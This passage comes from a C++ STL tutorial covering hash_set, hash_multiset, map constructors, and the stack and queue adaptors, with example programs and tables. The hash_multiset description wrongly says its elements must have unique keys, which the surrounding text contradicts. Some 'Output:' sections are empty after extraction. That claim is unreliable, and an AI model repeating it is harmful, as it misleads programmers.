//Create an empty hash_set hst0 of key type integer


hash_set <int> hst0;

//Create an empty hash_set hst1 with the key comparison


//function of less than, then insert 5 elements
hash_set <int, hash_compare<int, less<int> > > hst1;
hst1.insert(7);
hst1.insert(3);
hst1.insert(12);
hst1.insert(51);
hst1.insert(10);

//Create an empty hash_set hst2 with the key comparison


//function of greater than, then insert 4 elements
hash_set<int, hash_compare<int, greater<int> > > hst2;
hst2.insert(71);
hst2.insert(68);
hst2.insert(68);
hst2.insert(55);

//Create a hash_set hst3 with the


//hash_set hst1 allocator
hash_set<int>::allocator_type hst1_Alloc;
hst1_Alloc = hst1.get_allocator();
hash_set<int> hst3(less<int>(),hst1_Alloc);

www.tenouk.com Page 23 of 33
hst3.insert(12);
hst3.insert(13);
hst3.insert(12);

//Create a hash_set hst4 by copying the range hst1[_First, _Last)


hash_set <int>::const_iterator hst1_PIter, hst1_QIter;
hst1_PIter = hst1.begin();
hst1_QIter = hst1.begin();
hst1_QIter++;
hst1_QIter++;
hash_set<int> hst4(hst1_PIter, hst1_QIter);

//Create a hash_set hst5 by copying the range hst4[_First, _Last)


//and with the allocator of hash_set hst2
hash_set <int>::allocator_type hst2_Alloc;
hst2_Alloc = hst2.get_allocator();
hash_set <int> hst5(hst1.begin(), ++hst1.begin(), less<int>(), hst2_Alloc);

//-----------------------------------------------
cout<<"Operation: hash_set <int> hst0\n";
cout<<"hst0 data: ";
for(hst0_Iter = hst0.begin(); hst0_Iter != hst0.end(); hst0_Iter++)
cout<<*hst0_Iter<<" ";
cout<<endl;

cout<<"\nOperation: hash_set <int, hash_compare<int, \nless<int> > > hst1\n";


cout<<"Operation: hst1.insert(7)...\n";
cout<< "hst1 data: ";
for(hst1_Iter = hst1.begin(); hst1_Iter != hst1.end(); hst1_Iter++)
cout<<*hst1_Iter << " ";
cout<<endl;

cout<<"\nOperation: hash_set <int, hash_compare<int, \ngreater<int> > > hst2\n";


cout<<"Operation: hst2.insert(71)...\n";
cout<<"hst2 data: ";
for(hst2_Iter = hst2.begin(); hst2_Iter != hst2.end(); hst2_Iter++)
cout<<*hst2_Iter<<" ";
cout<<endl;

cout<<"\nOperation: hash_set<int> hst3(less<int>(),hst1_Alloc)\n";


cout<<"Operation: hst3.insert(12)...\n";
cout<<"hst3 data: ";
for(hst3_Iter = hst3.begin(); hst3_Iter != hst3.end(); hst3_Iter++)
cout<<*hst3_Iter<<" ";
cout<<endl;

cout<<"\nOperation: hash_set<int> hst4(hst1_PIter, hst1_QIter)\n";


cout<<"hst4 data: ";
for(hst4_Iter = hst4.begin(); hst4_Iter != hst4.end(); hst4_Iter++)
cout<<*hst4_Iter<<" ";
cout<<endl;

cout<<"\nOperation: hash_set <int> hst5(hst1.begin(), \n++hst1.begin(), less<int>(),


hst2_Alloc)\n";
cout<<"hst5 data: ";
for(hst5_Iter = hst5.begin(); hst5_Iter != hst5.end(); hst5_Iter++)
cout<<*hst5_Iter<<" ";
cout<<endl;
return 0;
}

Output:

www.tenouk.com Page 24 of 33
---------------------------------------------End of the hash_set----------------------------------------
---www.tenouk.com---

1. Check the best selling C / C++ and STL books at Amazon.com.

29.5.4 hash_multiset Members

Typedefs

Typedef Description
allocator_type A type that represents the allocator class for the hash_multiset object.
A type that provides a bidirectional iterator that can read a const element in
const_iterator
the hash_multiset.
const_pointer A type that provides a pointer to a const element in a hash_multiset.
A type that provides a reference to a const element stored in a
const_reference
hash_multiset for reading and performing const operations.
A type that provides a bidirectional iterator that can read any const element
const_reverse_iterator
in the hash_multiset.
A signed integer type that provides the difference between two iterators that
difference_type
address elements within the same hash_multiset.
A type that provides a bidirectional iterator that can read or modify any
iterator
element in a hash_multiset.
A type that provides a function object that can compare two sort keys to
key_compare
determine the relative order of two elements in the hash_multiset.
A type that provides a function object that can compare sort keys to
key_type
determine the relative order of two elements in the hash_multiset.
pointer A type that provides a pointer to an element in a hash_multiset
reference A type that provides a reference to an element stored in a hash_multiset.
A type that provides a bidirectional iterator that can read or modify an
reverse_iterator
element in a reversed hash_multiset.
An unsigned integer type that can represent the number of elements in a
size_type
hash_multiset.
A type that provides two function objects, a binary predicate of class
value_compare compare that can compare two element values of a hash_multiset to
determine their relative order and a unary predicate that hashes the elements.
A type that describes an object stored as an element of a hash_multiset in its
value_type
capacity as a value.

Table 29.28

www.tenouk.com Page 25 of 33
Member Functions

Member function Description


begin() Returns an iterator that addresses the first element in the hash_multiset.
clear() Erases all the elements of a hash_multiset.
Returns the number of elements in a hash_multiset whose key matches a parameter-
count()
specified key
empty() Tests if a hash_multiset is empty.
Returns an iterator that addresses the location succeeding the last element in a
end()
hash_multiset.
Returns a pair of iterators respectively to the first element in a hash_multiset with a key
equal_range() that is greater than a specified key and to the first element in the hash_multiset with a key
that is equal to or greater than the key.
Removes an element or a range of elements in a hash_multiset from specified positions or
erase()
removes elements that match a specified key.
Returns an iterator addressing the location of an element in a hash_multiset that has a key
find()
equivalent to a specified key.
get_allocator() Returns a copy of the allocator object used to construct the hash_multiset.
hash_multiset constructor, constructs a hash_multiset that is empty or that is a copy of all
hash_multiset()
or part of some other hash_multiset.
insert() Inserts an element or a range of elements into a hash_multiset.
key_comp() Retrieves a copy of the comparison object used to order keys in a hash_multiset.
Returns an iterator to the first element in a hash_multiset with a key that is equal to or
lower_bound()
greater than a specified key.
max_size() Returns the maximum length of the hash_multiset.
rbegin() Returns an iterator addressing the first element in a reversed hash_multiset.
Returns an iterator that addresses the location succeeding the last element in a reversed
rend()
hash_multiset.
size() Returns the number of elements in the hash_multiset.
swap() Exchanges the elements of two hash_multisets.
Returns an iterator to the first element in a hash_multiset that with a key that is equal to or
upper_bound()
greater than a specified key.
Retrieves a copy of the hash traits object used to hash and order element key values in a
value_comp()
hash_multiset.

Table 29.29

hash_multiset Class

- The container class hash_multiset is an extension of the Standard Template Library and is used for the
storage and fast retrieval of data from a collection in which the values of the elements contained serve
as the key values and are not required to be unique.

template <
class Key,
class Traits = hash_compare<Key, less<Key> >,
class Allocator = allocator<Key>
>

Parameters

Parameter Description
Key The element data type to be stored in the hash_multiset.
The type which includes two function objects, one of class compare that is a binary predicate able
to compare two element values as sort keys to determine their relative order and a hash function
Traits
that is a unary predicate mapping key values of the elements to unsigned integers of type
size_t. This argument is optional, and the hash_compare<Key, less<Key> > is the
default value.
The type that represents the stored allocator object that encapsulates details about the
Allocator
hash_multiset's allocation and de-allocation of memory. This argument is optional, and the default
value is allocator<Key>.

Table 29.30

- The hash_multiset is:

www.tenouk.com Page 26 of 33
▪ An associative container, which a variable size container that supports the efficient retrieval of
element values based on an associated key value. Further, it is a simple associative container
because its element values are its key values.
▪ Reversible, because it provides a bidirectional iterator to access its elements.
▪ Hashed, because its elements are grouped into buckets based on the value of a hash function
applied to the key values of the elements.
▪ Unique in the sense that each of its elements must have a unique key. Because
hash_multiset is also a simple associative container, its elements are also unique.
▪ A template class because the functionality it provides is generic and so independent of the specific
type of data contained as elements or keys. The data types to be used for elements and keys are,
instead, specified as parameters in the class template along with the comparison function and
allocator.

- The elements of a hash_multiset may be multiple and serve as their own sort keys, so keys are not
unique.
- The hash_multiset orders the sequence it controls by calling a stored hash traits object of type
value_compare. This stored object may be accessed by calling the member function
key_comp(). Such a function object must behave the same as an object of class
hash_compare<Key, less<Key> >. Specifically, for all values Key of type Key, the call
Trait(Key) yields a distribution of values of type size_t.
- Inserting elements invalidates no iterators, and removing elements invalidates only those iterators that
had specifically pointed at the removed elements.
- The iterator provided by the hash_multiset class is a bidirectional iterator, but the class member
functions insert() and hash_multiset() have versions that take as template parameters a
weaker input iterator, whose functionality requirements are more minimal than those guaranteed by the
class of bidirectional iterators.

hash_multiset Constructor

- Constructs a hash_multiset that is empty or that is a copy of all or part of some other
hash_multiset.
- All constructors store a type of allocator object that manages memory storage for the
hash_multiset and that can later be returned by calling get_allocator().
- The allocator parameter is often omitted in the class declarations and preprocessing macros used to
substitute alternative allocators.
- All constructors initialize their hash_multisets.
- All constructors store a function object of type Traits that is used to establish an order among the
keys of the hash_multiset and that can later be returned by calling key_comp().
- The first three constructors specify an empty initial hash_multiset, the second specifying the type
of comparison function (_Comp) to be used in establishing the order of the elements and the third
explicitly specifying the allocator type (_Al) to be used. The keyword explicit suppresses certain
kinds of automatic type conversion.
- The fourth constructor specifies a copy of the hash_multiset _Right.
- The last three constructors copy the range [_First, _Last) of a hash_multiset with
increasing explicitness in specifying the type of comparison function of class Compare and allocator.
- The actual order of elements in a hash_set container depends on the hash function, the ordering
function and the current size of the hash table and cannot, in general, be predicted as it could with the
set container, where it was determined by the ordering function alone.

//hash_multiset, constructor
//compiled with VC7.0 or .Net
//a lot of warning messages...
#include <hash_set>
#include <iostream>
using namespace std;

int main()
{
hash_multiset <int>::iterator hms0_Iter, hms1_Iter, hms3_Iter, hms4_Iter, hms5_Iter;
hash_multiset <int, hash_compare <int, greater<int> > >::iterator hms2_Iter;

//Create an empty hash_multiset hms0 of key type integer


hash_multiset <int> hms0;

//Create an empty hash_multiset hms1 with the key comparison

www.tenouk.com Page 27 of 33
//function of less than, then insert 6 elements
hash_multiset<int, hash_compare<int, less<int> > > hms1;
hms1.insert(12);
hms1.insert(17);
hms1.insert(24);
hms1.insert(17);
hms1.insert(9);

//Create an empty hash_multiset hms2 with the key comparison


//function of greater than, then insert 4 elements
hash_multiset<int, hash_compare<int, greater<int> > > hms2;
hms2.insert(21);
hms2.insert(34);
hms2.insert(21);
hms2.insert(17);

//Create a hash_multiset hms3 with the


//allocator of hash_multiset hms1
hash_multiset <int>::allocator_type hms1_Alloc;
hms1_Alloc = hms1.get_allocator();
hash_multiset <int> hms3(less<int>(), hms1_Alloc);
hms3.insert(71);
hms3.insert(52);
hms3.insert(31);

//Create a hash_multiset hms4 by copying the range hms1[_First, _Last)


hash_multiset <int>::const_iterator hms1_PIter, hms1_QIter;
hms1_PIter = hms1.begin();
hms1_QIter = hms1.begin();
hms1_QIter++;
hms1_QIter++;
hms1_QIter++;
hash_multiset<int> hms4(hms1_PIter, hms1_QIter);

//Create a hash_multiset hms5 by copying the range hms2[_First, _Last)


//and with the allocator of hash_multiset hms2
hash_multiset<int>::allocator_type hms2_Alloc;
hms2_Alloc = hms2.get_allocator( );
hash_multiset<int> hms5(hms2.begin(), ++hms2.begin(),less<int>(), hms2_Alloc);

//------------------------------------------------------
cout<<"Operation: hash_multiset <int> hms0\n";
cout<<"hms0 data: ";
for(hms0_Iter = hms0.begin(); hms0_Iter != hms0.end(); hms0_Iter++)
cout<<*hms0_Iter<<" ";
cout<<endl;

cout<<"\nOperation1: hash_multiset<int, \n hash_compare<int, less<int> > > hms1\n";


cout<<"Operation2: hms1.insert(12)...\n";
cout<<"hms1 data: ";
for(hms1_Iter = hms1.begin(); hms1_Iter != hms1.end(); hms1_Iter++)
cout<<*hms1_Iter<<" ";
cout<<endl;

cout<<"\nOperation1: hash_multiset<int, \n hash_compare<int, greater<int> > > hms2\n";


cout<<"Operation2: hms2.insert(21)...\n";
cout<<"hms2 data: ";
for(hms2_Iter = hms2.begin(); hms2_Iter != hms2.end(); hms2_Iter++)
cout<<*hms2_Iter<<" ";
cout<<endl;

cout<<"\nOperation1: hash_multiset<int> hms3(less<int>(),hms1_Alloc)\n";


cout<<"Operation2: hms3.insert(71)...\n";
cout<<"hms3 data: ";
for(hms3_Iter = hms3.begin(); hms3_Iter != hms3.end(); hms3_Iter++)
cout<<*hms3_Iter<<" ";
cout<<endl;

cout<<"\nOperation: hash_multiset<int> hms4(hms1_PIter, hms1_QIter)\n";


cout<<"hms4 data: ";
for(hms4_Iter = hms4.begin(); hms4_Iter != hms4.end(); hms4_Iter++)
cout<<*hms4_Iter<<" ";
cout<<endl;

cout<<"\nOperation: hash_multiset<int> hms5(hms2.begin(), \n ++hms2.begin(), less<int>(),


hms2_Alloc)\n";
cout<<"hms5 data: ";
for(hms5_Iter = hms5.begin(); hms5_Iter != hms5.end(); hms5_Iter++)
cout<<*hms5_Iter<<" ";
cout<<endl;

www.tenouk.com Page 28 of 33
return 0;
}

Output:

29.6 Strings

- You can also use strings as STL containers. By strings that mean objects of the C++ string classes,
basic_string<>, string, and wstring. Strings are similar to vectors except that their elements
are characters. This has been discussed extensively in Module 25 and 26.

29.7 Ordinary Arrays

- An ordinary C and C++ language array type that has static or dynamic size is a container. However,
ordinary arrays are not STL containers because they don't provide member functions such as size()
and empty().
- However, the STL's design allows you to call algorithms for these ordinary arrays. This is especially
useful when you process static arrays of values as an initializer list.
- You should have familiar with this traditional array, what is new in STL is using algorithms for them.
- Note that in C++ it is no longer necessary to program dynamic arrays directly. Vectors provide all
properties of dynamic arrays with a safer and more convenient interface.

29.8 Some Summary

No Sequences container Summary


A sequence that supports random access to elements, constant time insertion
and removal of elements at the end, and linear time insertion and removal of
elements at the beginning or in the middle. The number of elements in a
1 vector
vector may vary dynamically; memory management is automatic. vector
is the simplest of the STL container classes, and in many cases the most
efficient.
Like a vector with extra features that deque does not have any member
functions analogous to vector's capacity() and reserve(), and does
not provide any of the guarantees on iterator validity that are associated with
those member functions.
2 deque The Standard Template Library (STL) sequence container deque arranges
elements of a given type in a linear arrangement and, like vectors, allow fast
random access to any element and efficient insertion and deletion at the back
of the container. However, unlike a vector, the deque class also supports
efficient insertion and deletion at the front of the container.
A doubly linked list. It is a sequence that supports both forward and backward
4 list
traversal, and (amortized) constant time insertion and removal of elements at

www.tenouk.com Page 29 of 33
the beginning or the end, or in the middle. Lists have the important property
that insertion and splicing do not invalidate iterators to list elements, and that
even removal invalidates only the iterators that point to the elements that are
removed. The ordering of iterators may be changed (that is,
list<Type>::iterator might have a different predecessor or successor
after a list operation than it did before), but the iterators themselves will not be
invalidated or made to point to different elements unless that invalidation or
mutation is explicit.
Associative container Summary
A sorted associative container that stores objects of type Key. Set is a
simple associative container, meaning that its value type, as well as its key
type, is Key. It is also a unique associative container, meaning that no two
elements are the same. The set algorithms require their arguments to be sorted
ranges, and, since set and multiset are sorted associative containers, their
elements are always sorted in ascending order. The output range of these
6 algorithms is always sorted, and inserting a sorted range into a set or
set
multiset is a fast operation: the unique sorted associative container and
multiple sorted associative container requirements guarantee that inserting a
range takes only linear time if the range is already sorted. Set has the
important property that inserting a new element into a set does not invalidate
iterators that point to existing elements. Erasing an element from a set also
does not invalidate any iterators, except, of course, for iterators that actually
point to the element that is being erased.
Multiset is a sorted associative container that stores objects of type Key.
Multiset is a simple associative container, meaning that its value type, as
well as its key type, is Key. It is also a multiple associative container, meaning
that two or more elements may be identical. The set algorithms require their
arguments to be sorted ranges, and, since set and multiset are sorted
associative containers, their elements are always sorted in ascending order. The
output range of these algorithms is always sorted, and inserting a sorted range
7 multiset into a set or multiset is a fast operation: the unique sorted associative
container and multiple sorted associative container requirements guarantee
that inserting a range takes only linear time if the range is already sorted.
Multiset has the important property that inserting a new element into a
multiset does not invalidate iterators that point to existing elements.
Erasing an element from a multiset also does not invalidate any iterators,
except, of course, for iterators that actually point to the element that is being
erased.
Map is a sorted associative container that associates objects of type Key with
objects of type Data. Map is a pair associative container, meaning that its
value type is pair<const Key, Data>. It is also a unique associative
8 map container, meaning that no two elements have the same key.
Map has the important property that inserting a new element into a map does
not invalidate iterators that point to existing elements. Erasing an element from
a map also does not invalidate any iterators, except, of course, for iterators that
actually point to the element that is being erased.
Multimap is a sorted associative container that associates objects of type
Key with objects of type Data. multimap is a pair associative container,
meaning that its value type is pair<const Key, Data>. It is also a
multiple associative container, meaning that there is no limit on the number
of elements with the same key.
9 multimap
Multimap has the important property that inserting a new element into a
multimap does not invalidate iterators that point to existing elements.
Erasing an element from a multimap also does not invalidate any iterators,
except, of course, for iterators that actually point to the element that is being
erased.
Implementation dependent, non ANSI C++ (ISO/IEC C++)
The function object hash<Type> is a Hash Function; it is used as the default
hash function by all of the Hashed Associative Containers that are included in
the STL. The hash<Type> template is only defined for template arguments
10 hash of type char*, const char*, crope, wrope, and the built-in integral
types. If you need a Hash Function with a different argument type, you must
either provide your own template specialization or else use a different Hash
Function. This is implementation extension, not the ANSI C++ standard.
Hash_set is a hashed associative container that stores objects of type Key.
11 hash_set
Hash_set is a simple associative container, meaning that its value type, as

www.tenouk.com Page 30 of 33
well as its key type, is Key. It is also a unique associative container, meaning
that no two elements compare equal using the Binary Predicate EqualKey.
Hash_set is useful in applications where it is important to be able to search
for an element quickly. If it is important for the elements to be in a particular
order, however, then set is more appropriate.
hash_multiset is a hashed associative container that stores objects of
type Key. hash_multiset is a simple associative container, meaning that
its value type, as well as its key type, is Key. It is also a multiple associative
12 container, meaning that two or more elements may compare equal using the
hash_multiset
Binary Predicate EqualKey.
hash_multiset is useful in applications where it is important to be able to
search for an element quickly. If it is important for the elements to be in a
particular order, however, then multiset is more appropriate.
Hash_map is a hashed associative container that associates objects of type
Key with objects of type Data. Hash_map is a pair associative container,
meaning that its value type is pair<const Key, Data>. It is also a
unique associative container, meaning that no two elements have keys that
13 hash_map compare equal using EqualKey.
Looking up an element in a hash_map by its key is efficient, so hash_map
is useful for "dictionaries" where the order of elements is irrelevant. If it is
important for the elements to be in a particular order, however, then map is
more appropriate.
Hash_multimap is a hashed associative container that associates objects
of type Key with objects of type Data. Hash_multimap is a pair
associative container, meaning that its value type is pair<const Key,
Data>. It is also a multiple associative container, meaning that there is no
14 limit on the number of elements whose keys may compare equal using
hash_multimap
EqualKey.
Looking up an element in a hash_multimap by its key is efficient, so
hash_multimap is useful for "dictionaries" where the order of elements is
irrelevant. If it is important for the elements to be in a particular order,
however, then multimap is more appropriate.

Table 29.31

- Program example compiled using g++.

//******mapconstructor.cpp********
//map, constructor
//compiled with VC++ 7.0
//or .Net
#include <map>
#include <iostream>
using namespace std;

int main( )
{
typedef pair<int, int> Int_Pair;
map<int, int>::iterator mp0_Iter, mp1_Iter, mp3_Iter, mp4_Iter, mp5_Iter, mp6_Iter;
map<int, int, greater<int> >::iterator mp2_Iter;

//Create an empty map mp0 of key type integer


map <int, int> mp0;

//Create an empty map mp1 with the key comparison


//function of less than, then insert 6 elements
map <int, int, less<int> > mp1;
mp1.insert(Int_Pair(1, 13));
mp1.insert(Int_Pair(3, 23));
mp1.insert(Int_Pair(3, 31));
mp1.insert(Int_Pair(2, 23));
mp1.insert(Int_Pair(6, 15));
mp1.insert(Int_Pair(9, 25));

//Create an empty map mp2 with the key comparison


//function of greater than, then insert 3 elements
map <int, int, greater<int> > mp2;
mp2.insert(Int_Pair(3, 12));
mp2.insert(Int_Pair(1, 31));
mp2.insert(Int_Pair(2, 21));

//Create a map mp3 with the

www.tenouk.com Page 31 of 33
//allocator of map mp1
map <int, int>::allocator_type mp1_Alloc;
mp1_Alloc = mp1.get_allocator();
map <int, int> mp3(less<int>(), mp1_Alloc);
mp3.insert(Int_Pair(1, 10));
mp3.insert(Int_Pair(2, 12));

//Create a copy, map mp4, of map mp1


map <int, int> mp4(mp1);

//Create a map mp5 by copying the range mp1[_First, _Last)


map <int, int>::const_iterator mp1_PIter, mp1_QIter;
mp1_PIter = mp1.begin();
mp1_QIter = mp1.begin();
mp1_QIter++;
mp1_QIter++;
map <int, int> mp5(mp1_PIter, mp1_QIter);

//Create a map mp6 by copying the range mp4[_First, _Last)


//and with the allocator of map mp2
map <int, int>::allocator_type mp2_Alloc;
mp2_Alloc = mp2.get_allocator();
map <int, int> mp6(mp4.begin(), ++mp4.begin(), less<int>(), mp2_Alloc);

//--------------------------------------------------------
cout<<"Operation: map <int, int> mp0\n";
cout<<"mp0 data: ";
for(mp0_Iter = mp0.begin(); mp0_Iter != mp0.end(); mp0_Iter++)
cout<<" "<<mp0_Iter->second;
cout<<endl;

cout<<"\nOperation1: map <int, int, less<int> > mp1\n";


cout<<"Operation2: mp1.insert(Int_Pair(1, 13))...\n";
cout<<"mp1 data: ";
for(mp1_Iter = mp1.begin(); mp1_Iter != mp1.end(); mp1_Iter++)
cout<<" "<<mp1_Iter->second;
cout<<endl;

cout<<"\nOperation1: map <int, int, greater<int> > mp2\n";


cout<<"Operation2: mp2.insert(Int_Pair(3, 12))...\n";
cout<<"mp2 data: ";
for(mp2_Iter = mp2.begin(); mp2_Iter != mp2.end(); mp2_Iter++)
cout<<" "<<mp2_Iter->second;
cout<<endl;

cout<<"\nOperation1: map <int, int> mp3(less<int>(), mp1_Alloc)\n";


cout<<"Operation2: mp3.insert(Int_Pair(1, 10))...\n";
cout<<"mp3 data: ";
for(mp3_Iter = mp3.begin(); mp3_Iter != mp3.end(); mp3_Iter++)
cout<<" "<<mp3_Iter->second;
cout<<endl;

cout<<"\nOperation: map <int, int> mp4(mp1)\n";


cout<<"mp4 data: ";
for(mp4_Iter = mp4.begin(); mp4_Iter != mp4.end(); mp4_Iter++)
cout<<" "<<mp4_Iter->second;
cout<<endl;

cout<<"\nOperation: map <int, int> mp5(mp1_PIter, mp1_QIter)\n";


cout<<"mp5 data: ";
for(mp5_Iter = mp5.begin(); mp5_Iter != mp5.end(); mp5_Iter++)
cout<<" "<<mp5_Iter->second;
cout<<endl;

cout<<"\nOperation: map <int, int> mp6(mp4.begin(), \n++mp4.begin(), less<int>(),


mp2_Alloc);\n";
cout<<"mp6 data: ";
for(mp6_Iter = mp6.begin(); mp6_Iter != mp6.end(); mp6_Iter++)
cout<<" "<<mp6_Iter->second;
cout<<endl;
return 0;
}

[bodo@bakawali ~]$ g++ mapconstructor.cpp -o mapconstructor


[bodo@bakawali ~]$ ./mapconstructor

Operation: map <int, int> mp0


mp0 data:

www.tenouk.com Page 32 of 33
Operation1: map <int, int, less<int> > mp1
Operation2: mp1.insert(Int_Pair(1, 13))...
mp1 data: 13 23 23 15 25

Operation1: map <int, int, greater<int> > mp2


Operation2: mp2.insert(Int_Pair(3, 12))...
mp2 data: 12 21 31

Operation1: map <int, int> mp3(less<int>(), mp1_Alloc)


Operation2: mp3.insert(Int_Pair(1, 10))...
mp3 data: 10 12

Operation: map <int, int> mp4(mp1)


mp4 data: 13 23 23 15 25

Operation: map <int, int> mp5(mp1_PIter, mp1_QIter)


mp5 data: 13 23

Operation: map <int, int> mp6(mp4.begin(),


++mp4.begin(), less<int>(), mp2_Alloc);
mp6 data: 13

-------------------------------------------End of container------------------------------------------
---www.tenouk.com---

Further reading and digging:

1. Check the best selling C / C++ and STL books at Amazon.com.

www.tenouk.com Page 33 of 33
MODULE 30
--THE STL--
CONTAINER ADAPTOR

My Training Period: hours

Note: Compiled using VC++7.0 / .Net, win32 empty console mode application. g++ examples given at the end of
this Module.

Abilities

▪ Able to understand and use container adapters.


▪ Able to understand and use container adapter stack.
▪ Able to understand and use container adapter queue.
▪ Able to understand and use container adapter priority queue.

30.1 Container Adapters

- In addition to the fundamental container classes, the C++ standard library provides special predefined
container adapters that meet special needs. These are implemented by using the fundamental
containers classes.
- The predefined container adapters are as follows:

Container
Description
Adapter
Stacks Is a container that manages its elements by the LIFO (last-in-first-out) policy.
Is a container that manages its elements by the FIFO (first-in-first-out) policy. That is, it
Queues
is an ordinary buffer.
Is a container in which the elements may have different priorities. The priority is based
Priority on a sorting criterion that the programmer may provide (by default, operator < is used). A
Queues priority queue is, in effect, a buffer in which the next element is always the element that
has the highest priority inside the queue. If more than one element has the highest
priority, the order of these elements is undefined.

Table 30.1

- Container adapters are just special containers that use the general framework of the containers,
iterators, and algorithms provided by the STL.

30.2 <stack> Members

Operators

Operator Description
operator!= Tests if the stack object on the left side of the operator is not equal to the stack object

www.tenouk.com Page 1 of 9
on the right side.
Tests if the stack object on the left side of the operator is less than the stack object on
operator<
the right side.
Tests if the stack object on the left side of the operator is less than or equal to the
operator<=
stack object on the right side.
Tests if the stack object on the left side of the operator is equal to the stack object on
operator==
the right side.
Tests if the stack object on the left side of the operator is greater than the stack object
operator>
on the right side.
Tests if the stack object on the left side of the operator is greater than or equal to the
operator>=
stack object on the right side.

Table 30.2

Classes

Class Description
stack A template container adaptor class that provides a restriction of functionality limiting
Class access to the element most recently added to some underlying container type.

Table 30.3

stack Members

Typedefs

Typedef Description
A type that provides the base container to be adapted by
container_type
a stack.
An unsigned integer type that can represent the number
size_type
of elements in a stack.
A type that represents the type of object stored as an
value_type
element in a stack.

Table 30.4

Member Functions

Member
Description
function
empty() Tests if the stack is empty.
pop() Removes the element from the top of the stack.
push() Adds an element to the top of the stack.
size() Returns the number of elements in the stack.
Constructs a stack that is empty or that is a copy of a
stack()
base container object.
top() Returns a reference to an element at the top of the stack.

Table 30.5

- The stack must be nonempty to apply the member function. The top of the stack is the position
occupied by the most recently added element and is the last element at the end of the container.
- The top of the stack is the position occupied by the most recently added element and is the last element
at the end of the container.

//stack, pop(), push()


//size() and top()
#include <stack>
#include <iostream>
using namespace std;

int main()
{
stack <int> st1, st2;

//push data element on the stack


st1.push(21);
int j=st1.top();

www.tenouk.com Page 2 of 9
cout<<j<<' ';
st1.push(9);
j=st1.top();
cout<<j<<' ';
st1.push(12);
j=st1.top();
cout<<j<<' ';
st1.push(31);
j=st1.top();
cout<<j<<' '<<endl;

stack <int>::size_type i;
i = st1.size();
cout<<"The stack length is "<<i<<endl;

i = st1.top();
cout<<"The element at the top of the stack is "<<i<<endl;

st1.pop();

i = st1.size();
cout<<"After a pop, the stack length is "<<i<<endl;

i = st1.top();
cout<<"After a pop, the element at the top of the stack is "<<i<<endl;
return 0;
}

Output:

stack Constructor

- Constructs a stack that is empty or that is a copy of a base container class.

stack( );
explicit stack(
const container_type& _Right
);

Parameter

Parameter Description
_Right The container of which the constructed stack is to be a copy.
Table 30.6

//stack, constructor
#include <stack>
#include <vector>
#include <list>
#include <iostream>
using namespace std;

int main()
{
//Declares stack with default deque base container
stack <char> deq1;

//Explicitly declares a stack with deque base container


stack <char, deque<char> > deq2;

//Declares a stack with vector base containers


stack <int, vector<int> > vec;

//Declares a stack with list base container

www.tenouk.com Page 3 of 9
stack <int, list<int> > lst;
cout<<endl;

return 0;
}
//no output

stack Class

- A template container adaptor class that provides a restriction of functionality limiting access to the
element most recently added to some underlying container type.
- The stack class is used when it is important to be clear that only stack operations are being performed
on the container.

template <
class Type,
class Container = deque<Type>
>

Parameters

Parameter Description
Type The element data type to be stored in the stack.
The type of the underlying container used to implement the stack. The default value is the
Container
class deque<Type>.

Table 30.7

- The elements of class Type stipulated in the first template parameter of a stack object are synonymous
with value _type and must match the type of element in the underlying container class Container
stipulated by the second template parameter.
- The Type must be assignable, so that it is possible to copy objects of that type and to assign values to
variables of that type.
- Suitable underlying container classes for stack include deque, list, and vector, or any other sequence
container that supports the operations of back(), push_back(), and pop_back().
- The underlying container class is encapsulated within the container adaptor, which exposes only the
limited set of the sequence container member functions as a public interface.
- The stack objects are equality comparable if and only if the elements of class Type are equality
comparable and are less-than comparable if and only if the elements of class Type are less-than
comparable.

▪ The stack class supports a last-in, first-out (LIFO) data structure. A good analogy would be a
stack of plates. Elements (plates) may be inserted, inspected, or removed only from the top of the
stack, which is the last element at the end of the base container. The restriction to accessing only
the top element is the reason for using the stack class.
▪ The queue class supports a first-in, first-out (FIFO) data structure. A good analogy would be
people lining up for a bank teller. Elements (people) may be added to the back of the line and are
removed from the front of the line. Both the front and the back of a line may be inspected. The
restriction to accessing only the front and back elements in this way is the reason fur using the
queue class.
▪ The priority_queue class orders its elements so that the largest element is always at the top
position. It supports insertion of an element and the inspection and removal of the top element. A
good analogy would be people lining up where they are arranged by age, height, or some other
criterion.

30.3 queue Members

Typedefs

Typedef Description
A type that provides the base container to be
container_type
adapted by the queue.
An unsigned integer type that can represent the
size_type
number of elements in a queue.

www.tenouk.com Page 4 of 9
A type that represents the type of object stored as
value_type
an element in a queue.
Table 30.8

Member Functions

Member
Description
function
Returns a reference to the last and most recently added element at the
Back()
back of the queue.
empty() Tests if the queue is empty.
front() Returns a reference to the first element at the front of the queue.
pop() Removes an element from the front of the queue.
push() Adds an element to the back of the queue.
Constructs a queue that is empty or that is a copy of a base container
queue()
object.
size() Returns the number of elements in the queue.

Table 30.9

- The return value is the last element of the queue. If the queue is empty, the return value is undefined.
- If the return value of back() is assigned to a const_reference, the queue object cannot be
modified. If the return value of back() is assigned to a reference, the queue object can be
modified.

//queue, back(), push(), front()


#include <queue>
#include <iostream>
using namespace std;

int main()
{
queue <int> que1;

que1.push(11);
que1.push(13);

int& x = que1.back();
const int& y = que1.front();

cout<<"The integer at the back of queue que1 is "<<x<<endl;


cout<<"The integer at the front of queue que1 is "<<y<<endl;
return 0;
}

Output:

- The return value is the last element of the queue. If the queue is empty, the return value is undefined.
- If the return value of front() is assigned to a const_reference, the queue object cannot be
modified. If the return value of front() is assigned to a reference, the queue object can be
modified.
- The member function returns a reference to the first element of the controlled sequence, which
must be nonempty.

//queue, front()
#include <queue>
#include <iostream>
using namespace std;

int main()
{
queue <int> que;

www.tenouk.com Page 5 of 9
que.push(9);
que.push(12);
que.push(20);
que.push(15);

queue <int>::size_type x;
x = que.size();
cout<<"The queue length is "<<x<<endl;

int& y = que.back();
int& z = que.front();
cout<<"The integer at the back of queue que is "<<y<<endl;
cout<<"The integer at the front of queue que is "<<z<<endl;
return 0;
}

Output:

- The queue must be nonempty to apply the member function. The top of the queue is the position
occupied by the most recently added element and is the last element at the end of the container.

//queue, pop()
#include <queue>
#include <iostream>
using namespace std;

int main()
{
queue <int> que;

que.push(21);
que.push(9);
que.push(13);

queue <int>::size_type i;
i = que.size();
cout<<"The queue length is "<<i<<endl;

i = que.front();
cout<<"The element at the front of the queue is "<<i<<endl;

que.pop();
i = que.size();
cout<<"After a pop the queue length is "<<i<<endl;

i = que.front();
cout<<"After a pop, the element at the front of the queue is "<<i<<endl;
return 0;
}

Output:

- The top of the queue is the position occupied by the most recently added element and is the last element
at the end of the container.

//queue, push()

www.tenouk.com Page 6 of 9
#include <queue>
#include <iostream>
using namespace std;

int main()
{
queue <int> que;

